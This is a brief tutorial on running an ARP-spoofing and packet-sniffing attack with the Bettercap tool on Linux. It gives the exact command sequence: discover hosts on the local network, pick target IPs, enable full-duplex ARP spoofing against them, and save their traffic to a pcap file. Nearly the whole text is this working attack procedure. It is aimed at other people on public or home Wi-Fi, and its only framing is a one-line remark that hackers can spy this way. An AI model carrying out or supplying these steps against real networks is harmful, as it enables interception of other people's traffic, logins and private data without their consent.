How to perform sniffing attack using Bettercap in linux

How to perform sniffing attack

using Bettercap in linux

Firstly Open an terminal Using CTRL + ALT + T then type

sudo bettercap

To get start you should have internet connect of your nearbyrouter

Then type

net.probe on

net.probe on used to identify the host(users) in Local Wifi Network

After getting users(host) in your terminal select ips to sniff them

and Type

help arp.spoof

help arp.spoof use to list all possible parameter for arp.spoof

There are 4 possible parameter.Four of them we only need two at this moment

arp.spoof.fullduplex arp.spoof.targets

we only use two of them

Then Type

set arp.spoof.fullduplex true //Make Default false into True
set arp.spoof.targets target_ip //e.g 192.168.1.100
arp.spoof on

Now the time for sniffing attack

we use net.sniff parameter in bettercap for sniffing

Type:

set net.sniff.verbose true you can list all possible parameter by typing help net.sniff

Set an output file for capture data. The extension should be in .pcap

set net.sniff.output /path/for/file/ eg set net.sniff.output /home/user/Desktop/demo.pcap

then Run parameter by Typing

net.sniff on

In that cases you can capture the host data easier in public or home network .In other word it is an dangerous method that hacker can spying your activies of online.